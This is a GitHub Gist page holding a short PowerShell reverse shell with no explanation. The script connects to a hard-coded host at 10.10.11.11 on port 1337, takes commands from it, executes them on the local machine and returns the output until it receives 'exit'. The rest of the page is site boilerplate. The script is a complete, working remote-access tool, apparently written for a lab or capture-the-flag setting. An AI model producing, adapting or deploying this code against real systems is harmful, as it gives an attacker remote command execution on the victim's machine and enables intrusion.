Created
          August 22, 2020 00:08 
        
      - 
      
- 
        Save freddiebarrsmith/b044c8bd80e49a01e38423e7a244017f to your computer and use it in GitHub Desktop. 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | $socket = new-object System.Net.Sockets.TcpClient('10.10.11.11', 1337); | |
| if($socket -eq $null){exit 1} | |
| $stream = $socket.GetStream(); | |
| $writer = new-object System.IO.StreamWriter($stream); | |
| $buffer = new-object System.Byte[] 1024; | |
| $encoding = new-object System.Text.AsciiEncoding; | |
| do{ | |
| $writer.Write("> "); | |
| $writer.Flush(); | |
| $read = $null; | |
| while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){} | |
| $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); | |
| if(!$out.equals("exit")){ | |
| $out = $out.split(' ') | |
| $res = [string](&$out[0] $out[1..$out.length]); | |
| if($res -ne $null){ $writer.WriteLine($res)} | |
| } | |
| }While (!$out.equals("exit")) | |
| $writer.close();$socket.close(); | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment